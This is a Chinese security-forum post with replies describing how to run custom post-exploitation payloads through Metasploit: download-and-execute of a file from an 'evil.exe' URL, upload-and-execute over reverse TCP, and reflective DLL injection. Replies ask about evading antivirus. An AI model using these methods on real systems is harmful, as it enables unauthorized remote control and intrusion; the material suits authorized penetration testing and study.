Metasploit运行自定义后渗透模块
在某些溢出成功后,我们需要运行自己的模块,如远控、扫描器等,可以使用下面的一些方法:0x01.利用其他后渗透模块驱动执行,如使用meterpreter脚本,获得sessions后使用meterpreter来进行上传和执行
0x02.利用windows/download_exec模块,下载执行:
模块信息:Name Current Setting RequiredDescription
---- --------------- -------------------
EXE rund11.exe yes Filename to save & run executable on target system
EXITFUNCprocess yes Exit technique: seh, thread, process, none
URL http://localhost:443/evil.exeyes The pre-encoded URL to the executable
复制代码这个模块的脚本,分为下载和执行,代码在/opt/metasploit/msf3/modules/payloads/singles/windows/download_exec.rb
复制代码代码很清晰,可以学习相关写法
0x03 利用payload/windows/upexec/下的相关模块直接上传执行:
模块信息:Module options (payload/windows/upexec/reverse_tcp):
Name Current SettingRequiredDescription
---- ----------------------------------
EXITFUNCprocess yes Exit technique: seh, thread, process, none
LHOST yes The listen address
LPORT 4444 yes The listen port
PEXEC yes Full path to the file to upload and execute
复制代码模块中设置反弹模块为有效即可
0x04 利用payload/windows/dllinject/reverse_tcp模块进行远程dll注入
模块信息:
代码Name Current SettingRequiredDescription
---- ----------------------------------
DLL yes The local path to the Reflective DLL to upload
EXITFUNCprocess yes Exit technique: seh, thread, process, none
LHOST yes The listen address
LPORT 4444 yes The listen port
复制代码模块中设置反弹模块为有效即可
0x05 自定义脚本
自定义shellcode:http://bbs.pediy.com/showthread.php?t=109523
转自乌云
Re: Metasploit运行自定义后渗透模块
感谢分享,总结得很清晰。我平时用得比较多的是0x03的upexec模块,直接上传执行确实方便,但注意目标权限不够时可能会失败,需要先提权。0x02的download_exec也实用,不过如果目标网络出口受限,下载可能超时,建议提前在本地测试好URL可达性。另外自定义shellcode那块,配合msfvenom生成payload再注入,灵活性更高。楼主有遇到过模块执行后被杀软拦截的情况吗?怎么处理的?Re: Metasploit运行自定义后渗透模块
感谢分享这些实用的Metasploit后渗透模块执行方法!尤其在溢出成功后,能灵活选择下载执行、上传执行或dll注入等方式确实很重要。另外自定义shellcode的链接也很有参考价值,适合特定环境下的定制需求。请问在实际使用中,对于高版本Windows或杀软,哪种方法相对更隐蔽一些?Re: Metasploit运行自定义后渗透模块
感谢楼主分享,总结得非常清晰实用。平时用metasploit大多直接用自带payload,没太关注这些自定义执行方式。特别是download_exec模块和dll注入那部分,感觉很灵活。想请教一下,在0x05自定义脚本部分,除了引用看雪那个帖子,有没有自己编写后渗透模块时比较推荐的模板或注意事项?比如如何保证上传的exe不被杀软拦截?
页:
[1]